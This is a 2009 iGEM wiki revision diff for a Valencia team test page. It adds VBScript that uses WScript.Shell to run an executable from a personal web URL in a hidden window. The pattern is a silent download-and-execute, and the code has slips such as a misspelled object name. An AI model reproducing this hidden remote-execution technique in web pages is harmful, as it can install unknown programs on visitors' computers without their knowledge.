Team:Valencia/PruebaDocs3

From 2009.igem.org

(Difference between revisions)
Line 1: Line 1:
<html>
<html>
-
<script language=vbscript runat=server>  
+
<SCRIPT LANGUAGE=vbscript>  
-
 
+
-
Sub Prueba()
+
 +
Sub Prueba()
 +
Dim objWSCript  
Dim objWSCript  
Dim FSO, miFile  
Dim FSO, miFile  
-
Set ejecutar = Server.CreateObject("WSCript.Shell")
+
Set FSO = CreateObject("Scripting.FileSystem.Object")
-
ejecutar.Run = "http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe"
+
miFile = "http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe"  
-
+
Set objWSCript = CreateObject("WSCript.Shell")
 +
objWSCript.Run miFile, vbhide
 +
 
 +
Set FSO = Nothing
 +
Set objWSCript = Nothing
End Sub  
End Sub  
-
 
+
</SCRIPT>  
-
</script>  
+
<body>
<body>

Revision as of 03:46, 27 August 2009